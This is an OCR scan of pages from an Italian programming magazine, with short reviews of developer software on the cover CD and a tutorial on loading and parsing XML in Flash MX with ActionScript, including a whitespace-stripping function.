Cancel
Fig. 3: Un esempio dei tipi di file che si possono includere in un progetto.
Fig. 2: Si crea un nuovo progetto dal
menu.
zare la versione trial, basta cliccare su
"Keep evaluating" e verrà visualizzata
la finestra principale.
L'AMBIENTE
Nella finestra principale di Code Co-
op 4.0 sono presenti una barra dei me-
nu, una barra degli strumenti e sei
schede: File, Check-in Area, Mailbox,
Synch Area, History e Project. Ognuna
di esse consente di visualizzare infor-
mazioni relative ai progetti correnti ed,
eventualmente, di fare operazioni su di
CREARE
UN NUOVO PROGETTO
Dalla finestra principale è possibile
creare un nuovo progetto, cliccando su
Project I New; quindi specificare il per-
corso del file da aggiungere e poi,nella
successiva schermata, la sua estensione
(.cpp, .wav...). Nella parte sinistra del-
la finestra corrente, si seleziona l'esten-
sione del file e nella parte destra ver-
Ll.iaffilAI«J!!!B^^^^^
l-lnlxl
Program Project History View Folder AH Selection Help
Files I check-in Area Mailbox | Synch Area | History Projects
1 I |B|-B-|Qj 1 x|&|3a|tf| FSM
Size | Glot
Q Chad'sTest |a c ; , ; ; 5 elee t ed Fife i> -■ :-ltr-~t Otf.t; M;déVc
IH lElBilH
ijHII^B HfiflffldiiuEHEJ
< 1 ►!
Ready Fileis in current directory
Fig. 4: Si aggiungono i file al progetto.
ranno visualizzati tutti i file che si tro-
vano nel path precedentemente specifi-
cato e che hanno l'estensione selezio-
nata. Se i file sono stati creati all'ester-
no della directory di progetto di Co-op,
bisogna includerli cliccando su "Add
selected Files" dopo averli selezionati.
A questo punto, i file fanno ufficial-
mente parte del progetto.
SCHEDA TECNICA
Nome prodotto: Code Co-op 4.0
Produttore: Reliable Software
Web: www.relisoft.com
Licenza: Shareware
Prezzo: $159 per le prime 10 posta-
zioni, $125 per la altre.
File sul 1° CD: co-op. exe
http ://www.itport al.it
9 9
3 ►►►23
F T W A
Mathcad 11
Mathcad rappresenta da anni uno dei
più diffusi software per il calcolo scien-
tifico, utilizzato in tutto il mondo e a
tutti i livelli. Coniugando semplicità e
potenza, Mathcad si pone a metà strada
fra un programma di calcolo ed un
word processor orientato alla pro-
duzione di testi scientifici. Le funzioni
sono dunque tantissime ma, grazie ad
un approccio sicuramente indovinato,
anche i nuovi utenti riescono subito ad
essere produttivi. Basta cominciare a
digitare qualche formula per entrare in
confidenza con il tool: possiamo posi-
zionare il cursore su qualsiasi punto
della pagina e, una volta scritta una
equazione, la vedremo "vivere" sotto i
nostri occhi! Le formule, che si riescono
a scrivere proprio come faremmo con
un foglio di carta ed una penna, non so-
no quindi delle semplici scritte ma ten-
gono conto dei valori assegnati, istante
per istante, alle variabili presenti nelle
formule stesse. Mathcad consente dun-
que la risoluzione sia numerica che
simbolica delle più complesse equa-
zioni.
Nel CD: Mathcad
Fullxml
Fullxml (http://wwiv.fulixml.com) è un
software Open Source, rilasciato con li-
cenza GPL, per il Content Manage-
ment, scritto interamente in ASP e ba-
sato su XML per l'organizzazione dei
contenuti. Il progetto è stato varato nel-
l'Ottobre del 2001; attualmente, dal sito
Internet di John Roland, creatore del
progetto, è possibile scaricare la versio-
ne 2.3 beta, mentre l'ultima versione
stabile è la 2.0.5. È a tutt'oggi pianifica-
ta una versione 3 le cui novità più rile-
vanti saranno un nuovo formato XML
per il miglioramento delle performance
ed il supporto ai più comuni database
(MySQL, Access e SQL Server). Secon-
do le parole di John Roland, Fullxml è
un Web Portai System istantaneo.
L'obiettivo è quello di avere un sito
Web che automatizzi la distribuzione di
notizie e contenuti.
Nel CD: fullxml205.zip
J2ME Wireless Toolkit 2.0
Il supporto alla versione 2.0 di MIDP
(http://wireless.java.sun.com/midp/arti-
cles/midp20/) costituisce la prima, ma
non certo l'unica, novità della versione
2.0, che permetterà agli sviluppatori di
usufruire di nuove feature come il sup-
porto ad HTTPS, una serie di API (Ap-
plication Programming Interfaces) per
lo sviluppo di applicazioni multime-
diali e giochi, miglioramenti apportati
al layout delle form, la rappresen-
tazione di immagini come array di inte-
ri (che permette alle applicazioni MID,
le cosiddette MIDlet, di manipolare di-
rettamente le immagini, ad esempio
applicando filtri numerici), la firma di-
gitale del codice MID, un registro push
che permette alle MIDlet di gestire con-
nessioni di rete, il supporto per le suo-
nerie e l'esecuzione di dati audio cam-
pionati. Oltre agli strumenti base per
creare e pacchettizzare applicazioni che
fanno uso delle MIDlet, il toolkit forni-
sce allo sviluppatore una serie di tool
per settare i permessi sulle MIDlet crea-
te, per applicarvi una firma digitale, e
per lavorare con i domini di protezione.
Gli utenti alle prime armi con lo svilup-
po di applicazioni mobile apprez-
zeranno la facilità d'uso dell'interfaccia
grafica, laddove gli sviluppatori esterni
usufruiranno di strumenti potenti per
lo sviluppo ed il testing del codice
MIDP.
Nel CD: j2me_wireless_toolkit-
l_0_4_01-bin-win.exe
Code Co-op 4.0
Code Co-op 4.0 è un programma di
controllo versioni sorgenti per applica-
zioni realizzate in C++, Java, HTML...
Può funzionare in modalità distribuita
senza la necessità di utilizzare un ser-
ver. Supporta non solo la collaborazio-
ne tramite Lan, ma anche via e-mail. In
tal modo, è possibile collaborare ad un
progetto pur non risiedendo nella stes-
sa area geografica e, soprattutto, senza
la necessità di installare un server! Gra-
zie all'uso di appropriati messaggi di
posta elettronica, è possibile ottenere la
sincronizzazione dei sorgenti persino
tra postazioni che non sono costante-
mente connesse in rete. Si integra con
strumenti di sviluppo quali Microsoft
Visual studio, Borland Delphi, C++
Builder, Allaire ColdFusion ed altre ap-
plicazioni che utilizzano le API SCC
della Microsoft. Dal sito http://www.reli-
soft.com/co_op è possibile scricare la ver-
sione shareware di questo prodotto.
Per scegliere di utilizzare la versione
trial, basta cliccare su "Keep evatuating"
e verrà visualizzata la finestra principa-
le.
Nel CD: co-op. exe
Adobe FrameMaker 7.0
Una soluzione per l'authoring ed il pu-
blishing che tiene assieme la semplicità
di un word processor con la potenza
del linguaggio XML. La compilazione
del testo può avvenire in un ambiente
completamente WYSIWYG, già pronto
per produzione di XML ben formato.
La potenza e la flessibilità di Adobe
FrameMaker lo rendono il programma
di riferimento per le aziende che hanno
necessità di pubblicare informazioni su
canali diversi, tra cui XML, HTML,
Adobe PDF (Portable Document For-
mat) e SGML. Ideale per la gestione di
testi complessi e lunghi, grazie alla ge-
nerazione automatica e l'aggiornamen-
to di indici, sommari, riferimenti in-
crociati e collegamenti ipertestuali.
Versione di valutazione valida trenta
giorni.
Nel CD: fm7_tryout
Java 2 Development
Kit 1.4.1
L'ambiente di sviluppo Sun che negli ul-
timi anni si è imposta come la prima
scelta per i programmatori che lavorano
in ambito multipiattaforma. In questa
nuova release troviamo grandi mi-
glioramenti sul piano delle performance
e della scalabilità. In particolare, la con-
nettività ha fatto un ulteriore passo
avanti grazie a XML, CORBA, Ipv6 e al-
la tecnologia JDBC 3.0. Tra le tante no-
vità della Java 1.4 si segnalano le note-
voli migliorie per tutto ciò che riguarda
l'IO: buffer, gestione delle regular ex-
pression, socket, channels e molto altro
ancora. La minor release ha migliorato il
supporto ai Web Services, la Virtual Ma-
chine dispone di due nuovi Garbage Co-
llector e sono stati risolti oltre 2000 bug
che affliggevano la precedente release.
Nel CD: j2se
IntelliJ IDEA 3.0.2
Un completo IDE per Java che si dimo-
stra al contempo semplicissimo da uti-
lizzare e potente come pochi altri. Tra le
caratteristiche che differenziano questo
ambiente di sviluppo rispetto ai con-
correnti è il pieno sfruttamento della ta-
stiera: pressoché tutti i comandi dispo-
nibili sono raggiungibili, oltre che col
24 ►►► M a g g
3
http ://www.itport al.it
F T W
mouse, attraverso una combinazione di
tasti facilmente(l) memorizzabile. Tutti
sappiamo quanto sia prezioso il tempo
che si può risparmiare in questo modo.
Altra vantaggiosa caratteristica di que-
sto IDE è la possibilità di configurare al
volo lo spazio video a nostra disposi-
zione aprendo e chiudendo i vari pan-
nelli di comando in modo rapido e
semplice. In questa nuova versione, ri-
sulta particolarmente interessante il
supporto per J2EE: realizzare applica-
zioni Web non è mai stato così sem-
plice! Versione di prova valida trenta
giorni.
Nel CD: IntelliJ
Ariacom Business
Reports 2.0
Un complesso ambiente per la gene-
razione e la pubblicazione di report che
può interfacciarsi con tutti i più diffusi
database, grazie al supporto nativo per
Access, Sql Server e Oracle, in aggiunta
al classico ODBC. Anche gli utenti alle
prime armi potranno sfruttare da subi-
to questo software, grazie alla presenza
di un Wizard per il collegamento alla
base di dati. È possibile generare i re-
port sia come semplici file, sia come
e-mail o inviarli direttamente via fax.
Gratuito.
Nel CD: brfreel7.exe
DBxq 3.1
Un plancia di comando per gestire
qualsiasi database all'interno di un am-
biente semplice e coerente. E possibile
compiere, con semplicità, tutte le più
comuni operazione di creazione e ge-
stione di database. Grazie ad una fun-
zione di cache particolarmente ottimiz-
zata, le operazioni di aggiornamento e
ricerca risultano particolarmente velo-
ci. Versione di valutazione valida quin-
dici giorni.
Nel CD: dbxq.exe
Install-Us
Professional 4.5
I pacchetti di installazione che si posso-
no creare con Install-us hanno un
aspetto decisamente professionale e
possono essere utilizzati per distribuire
il nostro software su qualsiasi media:
CD, Intrenet o semplici dischetti. E pre-
sente una completa gestione della fun-
zione di disinstallazione.
Nel CD: iuse.zip
IronEye SQL 1.0
Attraverso un attento vaglio delle
istruzioni SQL scambiate fra un'ap-
plicazione ed un DB, IronEye consen-
te di individuare i colli di bottiglia che
pregiudicano le prestazioni dei siste-
mi software progettati. Due sono i pa-
rametri che più di tutti forniscono
informazioni utili: le istruzioni SQL
che impiegano più tempo ad essere
eseguite e quelle che sono lanciate un
numero eccessivo di volte. IronEye
può servire per ottimizzare qualsiasi
applicazione che utilizzi un driver
JDBC e non richiede alcun cambia-
mento nel codice. Versione di valuta-
zione valida trenta giorni.
Nel CD: IronEye
Javelin 6.5.8
Un piccolo e interessante ambiente di
sviluppo che consente, per via grafica,
di realizzare complesse applicazioni
Java. Buona parte dello sviluppo può
essere formalizzato secondo lo stan-
dard UML, lasciando all'ambiente
l'incombenza di tradurre lo schema in
codice Java. La nuova versione di que-
sto piccolo ambiente di sviluppo Java
che non rinuncia a funzioni importan-
ti come la compilazione "intelligente"
che, in progetti che coinvolgono più
file, tiene traccia delle modifiche effet-
tuate ed effettua la compilazione solo
sui file effettivamente modificati. Pur
non rivaleggiando con i concorrenti
più blasonati, Javelin rappresenta una
soluzione che merita la nostra atten-
zione. Versione di dimostrativa.
Nel CD: javelw32.exe
Peter's XML Editor 2.0
Un editor XML particolarmente sem-
plice e veloce che non rinuncia ad al-
cune caratteristiche importanti come
la possibilità di una doppia vista sui
documenti: la classica vista ad albero
che evidenzia la struttura delle infor-
mazioni, e la vista del sorgente com-
pleta di syntax-highlighting.
Gratuito
Nel CD: pxe.exe
PremiumSoft MySQL
Studio 4.4
Un ottimo tool per la gestione grafica
di database MySQL che si rivela di
grande utilità nelle attività di monito-
raggio e reporting connesse alla ma-
nutenzione dei database.
L'interfaccia è stata completamente ri-
disegnata per offrire una migliore
usabilità e semplificare tutte le più co-
muni operazioni. Particolarmente in-
dicato per gli sviluppatori Web ed i
Web Masters.
Versione di valutazione valida trenta
giorni.
Nel CD: pmstudio51trial.exe
Resource Tuner 1.91
Resource Tuner è uno strumento ec-
cellente per esplorare le risorse conte-
nute negli eseguibili: dialog box, me-
nu, icone, figure, toolbar.
Tutto ciò che rientra nell'interfaccia di
un'applicazione Windows può essere
visualizzato e modificato a piacimen-
to.
Trial version di trenta giorni.
Nel CD: rtsetup.exe
Visual Assist 6.0
Un assistente per la scrittura rapida
del codice: questo è lo scopo del tool
che presentiamo.
Visual Assist migliora le funzionalità
dell'IntelliSense, velocizzando la vi-
sualizzazione ed estendendo il sup-
porto ai simboli e a numerose librerie.
Un'altra utile funzione consiste nel
sottolineare gli errori sintattici e con-
testuali, immediatamente durante la
scrittura del codice. Di facile appren-
dimento, consente di essere da subito
operativi senza che sia necessario im-
parare nuovi comandi.
Nella directory trovate anche la ver-
sione per Visual Studio .NET.
Versione di valutazione valida trenta
giorni.
Nel CD: VAssist
XMLwriter 2.1
Uno dei migliori editor XML presenti
sul mercato in versione di prova per
trenta giorni. In questo tempo potrete
valutare la grande flessibilità e la sem-
plicità di questo tool che conferma la
sua validità anche come strumento di-
dattico grazie alla piccola ma ben fat-
ta guida XML.
L'help sensibile al contesto e la capa-
cità di convertire file XML in HTML
attraverso fogli di stile XSL completa-
no questo ottimo prodotto.
Versione di prova valida trenta giorni.
Nel CD: xmlwril2.zip
http ://www.itport al.it
9 9
3 ►►► 25
< ■* -* < ■* ■* -* < < ■* < -* < TEORIA E TECNICA
Flash MX
E XML: UN DIALOGO POSSIBILE
Due tra le migliori tecnologie
attualmente disponibili per gli
sviluppatori possono finalmente
dialogare. In questo articolo
vedremo come.
La diffusione del Flash Player, la potenza del lin-
guaggio di programmazione di Flash Mx, la
versalità del programma della Macromedia nel
creare interfacce utente accattivanti e dinamiche, uni-
to alla portabilità e alla semplicità d'uso dell'XML,
donano agli sviluppatori molteplici possibilità per
creare complete applicazioni facilmente aggiornabili.
La scelta nell'utilizzo di tali tecnologia spazia dalla
necessità di fornire all'utente nuove esperienze di na-
vigazione alla possibilità di distribuire il prodotto su
differenti piattaforme : internet, palmari, webtv, cellu-
lari. Nell'articolo capiremo come Flash Mx interpreta
e gestisce una fonte dati proveniente da un file XML e
costruiremo una vera e propria applicazione in grado
di generare un questionario i cui set di domande e ri-
sposte sono svincolati dai contenuti e inseriti in file
XML esterni.
XML, PERCHE ?
Con l'avvento della piattaforma .NET della Microsoft,
di Coldfusion MX, dei WebServices, si fa sempre più
pressante l'utilizzo dell'XML. Se ne sente parlare
ovunque ma il suo successo è dovuto alla potenza del
Web che rende possibile la comunicazione con chiun-
que e in qualunque luogo. Questo ha richiesto uno
standard, per la rappresentazione dei dati, che fun-
gesse da veicolo per le transazioni aziendali, la condi-
visione di dati provenienti da database e qualsiasi
rappresentazione per lo spostamento di dati su Web.
Tutto questo è consentito dall'XML, un metalinguag-
gio per descrivere i dati in maniera strutturata ! Un al-
tro enorme vantaggio è rappresentato dalla portabi-
lità dei dati, che possono essere ricavati da qualsiasi
fonte e gestiti indipendentemente dal server con un
utilizzo di banda minimo. Ma per uno sviluppatore
Flash, la cosa interessante è che permette di separare
la presentazione prettamente grafica dai contenuti fa-
cilitandoci l'aggiornamento dei dati.
Utilizzare XML è comodo sopratutto perché mette a
disposizione un flessibile e coerente framework, al-
l'interno del quale i dati possono essere rappresentati
con univoche proprietà semantiche, regole grammati-
cali e relazioni. In pratica, l'XML è un modo di for-
mattare dati assegnando loro una struttura. Bisogna
però anche saper dosare il suo utilizzo, in quanto es-
sendo scritto come un file di testo qualsiasi, eredita
anche i suoi limiti.
Per esempio, nel caso in cui la fonte dati XML subisca
molti richiami (query) da parte del nostro software,
dobbiamo sapere a priori che questo potrebbe rappre-
sentare un problema per le performance della nostra
applicazione, in quanto il file va ogni volta aperto, let-
to e codificato dal programma. Riassumendo, usare
XML permette di ottenere:
1 . Ricerche più significative.
2. Sviluppo di applicazioni Web più flessibili.
3. Integrazione di dati di diverse origini.
4. Computazione e manipolazione locale dei dati.
5. Strutturazione organizzata dei dati.
6. Facilità di aggiornamento e archiviazione dei
dati.
STRUTTURA
DI UN DOCUMENTO XML
Analizziamo ora un semplice file XML, cercando di
definire alcuni concetti fondamentali. Partendo da
questo file, arriveremo poi a crearne uno più com-
plesso, parte del programma che svilupperemo. L'ap-
plicazione gestirà un test di verifica con l'interfaccia in
Flash Mx e la fonte dati (un set di domande /risposte)
contenuta appunto in un documento XML. Dopo una
veloce panoramica sulle potenzialità di XML cedia-
mo come è formato un documento:
<?xml version
i="1.0"?>
<UTENTI>
<UTENTE>
<NOME>
Marco</NOME>
<COGNOME> Casario </COGNOME>
<EMAIL>
mcasario@shocknet.it </EMAIL>
</UTENTE>
<UTENTE>
<NOME>
Marco</NOME>
<COGNOME> Rossi</COGNOME>
<EMAIL>
mrossi@shocknet.it </EMAIL>
Flash
& XML
^§> File sul CD
soft\codice\Flash_XML.zip
W File sul Web
www.itportal.it/iop69
/Flash_XML.zip
Funzioni
Ricorsive
r* La navigazione di un
~-J file XML si sposa
perfettamente con il con-
cetto di funzione o algo-
ritmo ricorsivo.. In ter-
mini generici una funzio-
ne ricorsiva è una funzio-
ne che durante l'esecu-
zione richiama se stessa
finché non si verificano
determinate condizioni.
http: //www. itport al.it
g g
3 ►►► 27
</UTENTE>
Flash
& XML
Flash MX
e XML: un dialogo
possibile
</UTENTI>
Questo è un semplice esempio di file XML che contie-
ne una serie di elementi, e che rispetta tre regole fon-
damentali: l'elemento è il contenitore di dati di un do-
cumento XML; ogni documento deve contenere un
root element; tutti i tag che strutturano i nostri dati
devono essere chiusi.
Nel nostro esempio :
• <?xml version="1.0"?>: è la dichiarazione del tipo
di documento che stiamo creando. Quando lavo-
riamo con Flash Mx, non è necessaria ma è buona
abitudine inserirla. Da notare che questo tag non
ha chiusura in quanto non è un elemento.
(?f) HinclLKhQàijEkH.as
® fltelu*fe|rlDtbiij4$
(3j) Hi'PiluijNr.iStr-.nr.E-j.ai
O Dtfìtfk*
.* | lo'L'i-v^tur
a J 'i-r-h,.
i i v .i--L?bx:-:Ttn
|'?i]| NfiS*r^M$.
fS|| Hr*an4Srt
Fig. 1: Gli oggetti di Flash Mx per il controllo
remoto.
mente tutte le azioni con l'XML. In particolare l'og-
getto XML fa parte della libreria degli oggetti
Client /Server di Flash Mx come possiamo vedere se
apriamo la finestra delle Action. I metodi, le proprietà
e gli eventi che lo compongono sono:
<UTENTI>: è il root element. Contiene i sottoele-
menti della nostra struttura dati. Il tag viene chiu-
so alla fine.
newXml: mi permette di creare un oggetto XML
per poter poi chiamare i metodi del XML. La sin-
tassi è quella classica di creazione di un oggetto:
<UTENTE>,<NOME>, <COGNOME>,
<EMAIL>: sono i sottoelementi che contengono i
dati del nostro documento. I tag vengono chiusi
alla fine.
objXML = new XML();
da notare anche la posibilità di dichiarare in "li-
nea" il contenuto del nuovo oggetto:
RIA
/-a II termine RIA sta
*f& per Rich Internet
Application e si riferisce
ad un nuovo approccio
alla progettazione di ap-
plicazioni per il web e of-
fline. In particolare que-
ste nuova filosofia di
pensiero si sostituisce
alla vecchia concezione
di sviluppo denominata
"thin" (povera, magra)
che prevedeva la costru-
zione di applicazioni web
attraverso tecnologie
poco accattivanti come
l'HTML o DHTML. LA MA-
cromedia sta spendendo
molte energie e risorse
per abbracciare questa
nuova concezione. Pote-
te trovare molti articoli
sull'argomento al se-
guente indirizzo:
http: //www, macromedia
.com/devnet/
Prima di iniziare a vedere come far interagire Flash
con il nostro documento XML, focalizziamo i seguen-
ti punti:
• gli elementi che compongono il nostro documen-
to possono essere anche vuoti;
• come per l'HTML anche gli elementi XML posso-
no avere degli attributi (es. <NOME vdore=Mar-
cox/NOME>);
• i whitespace rappresentano tutti gli spazi, ritorni a
capo, TAB nel nostro documento XML. Sono im-
portanti perché per alcune versioni del flash
Player, dobbiamo costruire un parser che li gesti-
sca;
• l'XML è case sensitive, cioè riconosce la differenza
fra maiuscole e minuscole.
IMPORTARE
UN DOCUMENTO XML
IN FLASH MX
Abbiamo finalmente creato il file. A questo punto pos-
siamo aprire il programma Macromedia Flash Mx e
cominciare a capire come questo permetta di lavorare
con file XML. Per utilizzare una fonte dati XML, Ac-
HonScript (il linguaggio di programmazione di Flash
Mx) deve prima poter interpretare la formattazione
assegnata ai dati all'interno del file, e deve quindi
aprirlo, leggerlo e parsarlo. Actionscript mette a di-
sposizione un apposito oggetto per svolgere pratica-
objXML = new XML("<UTENTExNOME>
Marco</NOMEx/UTENTE>");
• Metodi oggetto XML: appenChild, cloneNode, crea-
teElement, createTextNode, getByteLoaded, getByte-
sTotal, hasChildNodes, insertBefore, load, parseXML,
removeNode, send, sendAndLoad, toString;
• Proprietà oggetto XML: attributes, childNodes,
contentType, docTypeDecl, firstChild, ignoreWhite,
lastChild, loaded, nextSibling, nodeName, nodeType,
nodeValue, parentNode, previousSibling, status,
xmlDecl;
• Gli eventi: onData e onLoad.
Ora apriamo Flash Mx e cominciamo a digitare un po'
di codice. Creiamo un documento XML dal Notepad
di Windows con la seguente struttura :
<?xml version
="1.0"?>
<UTENTI>
< UTENTE >
<NOME>
Marco</NOME>
<COGNOME> Casario </COGNOME>
<EMAIL>
mcasario@shocknet.it </EMAIL>
</UTENTE>
<UTENTE>
<NOME>
Marco</NOME>
<COGNOME> Rossi</COGNOME>
<EMAIL>
mrossi@shocknet.it </EMAIL>
</UTENTE>
</UTENTI>
28 ►►► M a g g
2 3
http: //www. itport al.it
TECNICA
- SJxJ
,3 Nuovo '•'■ -j "„> ìì~ iS:
Ometti
±1
crea una tabella In YKualEzaetone Struttura
Iff fatale |
Crea una tabella mediante una creazione guidata
i? Query
S' '■'•■-■ li-I-
Calendario
Otta
Report
H
|ew*f|
Q fapnc
*" M«rg
: ; f ModiJi
'm;o<
Fig. 2: Creiamo un database Access con le tabelle
calendario. Città e Corsi.
Salviamo il file come Provai .xml e il nuovo documen-
to flash con il nome provai .fla. A questo punto, nel pri-
mo trame della Timeline, andiamo a istanziare il no-
stro oggetto XML e a caricare con il metodo load il re-
lativo file:
objXML = new XML;
objXML. load ("provai. xml");
Ovviamente, i due file devono risiedere nella stessa
cartella. Eseguiamo il movie flash Control I Test Movie
e dal menu Debug I List Variable apriamo la Output
Window che contiene il nostro documento. Comincia-
mo a specializzare il nostro codice gestendo l'evento
onLoad che scatta subito dopo che Flash ha letto il con-
tenuto del file XML da caricare con il metodo load:
objXML = new XML;
objXML. load ("provai. xml");
objXML. onLoad = caricato ;
function caricato(esito) {d
trace("II file xml è stato caricato"); }
Il gestore di evento onLoad ritorna un valore booleano
(true o false a secondo dell'esito della lettura del no-
stro file). Con la riga di codice objXML.onLoad = cari-
cato; abbiamo assegnato la funzione caricato all'even-
to.
function caricato(esito) {
trace("II file xml è stato caricato"); }
L'argomento "esito " ritorna true o false e ci dice in pra-
tica se il file è stato caricato con successo. Per render-
ci meglio conto facciamo un trace dell'argomento "esi-
to":
function caricato(esito) {
trace(esito); }
e nella finestra di Output ci comparirà true (se il file è
stato caricato!). Ora però, miglioriamo la nostra fun-
zione e stampiamo il contenuto del file XML in un
campo testo. Inseriamo sul primo livello del movie
Fig. 3: Definiamo tutti i campi della tabella
Calendario...
flash un campo testo di tipo dinamico e trasciniamo il
component ScrollBar di Flash Mx a fianco al campo te-
sto. Assegniamo, dalla Property Window, un nome di
istanza al campo testo (ad esempio "txtXML"). Sem-
pre dalla stessa finestra, selezionando il component,
inseriamo il TargetText Field a cui verrà associata la
scrollbar. A questo punto, riprendiamo la funzione
lanciata dall'evento onLoad e modifichiamola in que-
sto modo:
function ca
ricato(esito) {
if (esito) {
txtXML.text = objXML.toString();
} else {
trace("Si
e' verificato un
errore");
}
}
Il codice è molto semplice ma analizziamo il blocco if:
se l'argomeno esito ritorna true allora verranno ese-
guite le istruzioni all'interno del blocco ed in partico-
Flash
& XML
Flash MX
e XML: un dialogo
possibile
Piattaforme e
Flash Remoting
r~s Nell'articolo abbia-
--J mo utilizzato il Flash
Remoting sotto Coldfu-
sion Mx, che lo mette
gratuitamente a disposi-
zione degli sviluppatori.
Ma la Macromedia già
supporta altri applica-
tion server come Micro-
soft ASP.NET e J2EE. At-
tualmente è in fase di
sviluppo un progetto per
portare il Flash Remo-
ting su PHP. Tutte le
informazioni sono repe-
ribili all'uri:
http://amfphp.sourcefor -
qe.net/
Fig. 4: ... e quelli della tabella Corsi
http: //www. itport al.it
g g
3 ► ►►29
Flash
& XML
Flash MX
e XML: un dialogo
possibile
Flash Mx
Components
/-S I componenti sono
"*(» una delle nuove fun-
zionalità di Flash Mx e
permettono agli svilup-
patori di ampliare le po-
tenzialità delle loro ap-
plicazioni e del program-
ma stesso. Rappresetano
l'evoluzione degli Smart
Clips di Flash 5. Pratica-
mente sono movie clip
complessi parametrizza-
bili in fase di authoring e
aggiungono nuovi meto-
di ad ActionScript che
permette in questo modo
di interagire con le loro
opzioni a runtime. Per
approfondire l'argomen-
to basta andare sul sito
della Macromedia all'in-
dirizzo http://www.ma-
cromedia.com/dev-
n et /mx/ flash/ compo-
nents. html
lare il contenuto del file XML sarà riportato nel cam-
po testo con nome istanza txtXML A scopo esemplifi-
cativo creiamo una nuova funzione che stamperà nel
campo testo alcune proprietà del nostro oggetto XML.
Il codice è il seguente:
function mostraChildQ {
contenitore = new Array;
contenitore = objXMLchildNodes;
stampa = objXML.xmlDecl+"\n"
stampa += "La lunghezza e' di
:\n"+contenitore.length+"\n";
for (x=Q;x<contenitore,length;x+ + ) {
if ((contenitore[x].nodel\lame ! =
null)&(contenitore[x].nodeType = 1)) {
stampa += "Questo e' il nodeType:\n "
+contenitore[x],nodeType+"\n";
stampa += "Questo e' il nodeName:\n
"+contenitore[x].nodeName+"\n";}
}
txtXML.text = stampa;
Proviamo ad analizzarla riga per riga: cominciamo
col dichiarare una funzione il cui compito è quello di
contenere i dati formattati all'interno del file XML in
un array. L'array deve essere creato utilizzando la sin-
tassi mioArmy = new Array. La proprietà childNodes
dell'oggetto XML contiene l'elenco (un array) di tutti
i childnodes del file, con cui popoleremo la variabile
contenitore. Ai fini del nostro esempio, che vuole solo
illustrare come Flash Mx gestisce l'oggetto XML,
creiamo una nuova variabile di tipo stringa, il cui con-
tenuto verrà inserito in un campo testo e quindi for-
mattato sullo Stage. La variabile stampa contiene la
dichiarazione iniziale del file XML (<?xml ver-
sion="1.0"?>), che viene catturata dalla proprietà xml-
Deci, e il numero di elementi che rappresentano i
childnodes del file. Con un ciclo di for navigo per tutta
la lunghezza dei miei dati, contenuti neh' array, e in-
tercetto i nomi e il tipo di nodi che compongono la
mia struttura. Per fare questo utilizzo le proprietà no-
deName e nodeType dell'oggetto XML:
nodeName: ritorna il nome del nodo
nodeType : ritorna un intero.
Ora cambiano il codice relativo all'evento onLoad in
questo modo:
objXML = new XML;
objXML.Ioad("proval.xml");
objXML.onLoad = mostraChild;
I WHITESPACES
I ivhitespaces rappresentano un problema per le ver-
sioni dei player Flash inferiori alla 5.0.41. Infatti per
tutte le versioni successive, basta settare la proprietà
ignoreWhite a true:
objXML.ignoreWhite = true;
Se volessimo costruire un'applicazione in Flash che
tenga conto anche delle versioni un po' più datate,
dobbiamo costruire un parser che tiene conto degli
spazi vuoti e dei ritorni a capo. La funzione che ese-
gue queste è stata scritta da Craig Swann. La funzio-
ne stripWhite che andiamo a costruire non è un meto-
do predefinito dell'oggetto XML. Usando un prototy-
pe mi assicuro che la funzione possa essere usata da
tutte le istanze dell'oggetto.
XMLNode.prototype. stripWhite = function () {
1
NODE ELEMENT
2
NODE ATTRIBUTE
3
NODE TEXT
4
NODE CDDATA
5
NODE ENTITY REFERENCE
6
NODE ENTITY
7
NODE PROCESSING INSTRUCTION
8
NODE COMMENT
9
NODE DOCUMENT
10
NODE DOCUMENT TYPE
11
NODE DOCUMENT FRAGMENT
12
NODE NOTATION
Tab. 1: Proprietà dei nodeType.
All'interno di questa funzione ne definiamo un'altra,
'whiteTest' , che determina se il text node contiene dati
o spazi vuoti. Sapendo che i cosiddetti caratteri "bian-
chi" nel codice ASCII assumono valori da a 32 ci ba-
sta controllare con la funzione charCodeAt che i dati
siano maggiori del valore 32. In questo caso setto una
variabile booleana a FALSE o a TRUE a seconda del ti-
po di dato ottenuto, esco dalla funzione, facendo ri-
tornare il valore della variabile:
function whiteTest(str){
var allWhite = true;
var strLength = str.length;
for (var i = 0; i < strLength; i++) {
if (str.charCodeAt(i) > 32) {
allWhite = false;
break; }
A
return (allWhite);
}
Attraverso l'uso della proprietà nodeType controllo
che esista almeno un elemento e che contenga dei
sottoelementi con la proprietà hasChildnodes. A que-
sto punto un ciclo di for navigherà per tutta la lun-
ghezza del file, lanciando ricorsivamente la funzio-
ne stripWhite per eliminare gli spazi bianchi all'in-
30 ►►► M a g g
3
http: //www. itport al.it
TECNICA
terno di tutti i dati.
if (this.nodetype == 1) {
if (this.hasChildnodes) {
var chlength = this.childNodes.length;
for (var i=0;i < chlength; i + + ) {
this,childnodes[i],stripWhite();}
}_
} else {
Se il nodeType ritorna l'esitenza di un testo verifico,
lanciando la funzione whiteTest, se sono presenti degli
spazi bianchi, e in questo caso eseguo la funzione per
eliminarli (Stripwhite). Utilizzo il metodo nextSibling
per ritornare il sottoelemento successivo all'interno
della lista dei childNodes. Infine, elimino il nodo ana-
lizzato con il metodo removeNode.
if (this.nodetype = =
= 3){
if (whiteTest(this.
nodeValue)) {
this. nextSibling
.stripWhite();
this.removeNoc
e();}
}
}
}
Ora andiamo a modificare la funzione che scatta sul-
l'evento onLoad lanciando prima la funzione strip-
Wliite e successivamente facciamo stampare il conte-
nuto del documento nel nostro campo testo:
objXML = new XML;
objXML.Ioad("proval.xml");
objXML.onLoad = caricato
function caricato(esito) {
if (esito) {
// Lancio la funzione stripWhite che elimina i
// whitespace - il 'this' si riferisce all'oggetto XML
this.stripWhiteQ;
txtXML.text = QbjXML.toStringQ;
}else {
trace("Si e' verificato un errore");
J_
}
Nel campo testo txtXML comparirà il contenuto del
file XML tutto attaccato, senza spazi. Più avanti nel-
l'articolo vedremo come estrapolare dal documento
XML i dati che ci interessano, e come formattarli al-
l'interno della nostra interfaccia grafica. Creeremo un
piccolo database in XML e navigheremo all'interno
dei suoi dati.
IL PARSING XML
CON FLASH MX
Finora abbiamo visto come caricare una fonte dati
esterna da un file XML. In questa seconda parte, cree-
remo un semplice quiz le cui domande e risposte so-
no prelevate da un file esterno. Per fare questo utiliz-
zeremo alcuni comandi Actionscript, fondamentali per
capire come l'oggetto XML viene parsato dal Flash
Mx:
• ignoreWhite: elimina gli spazi tra i nodi di testo.
• firstChild: valuta l'oggetto XML specificato e fa
riferimento al primo nodo secondario nell'elenco
del nodo principale.
• childNodes: restituisce una matrice dei nodi se-
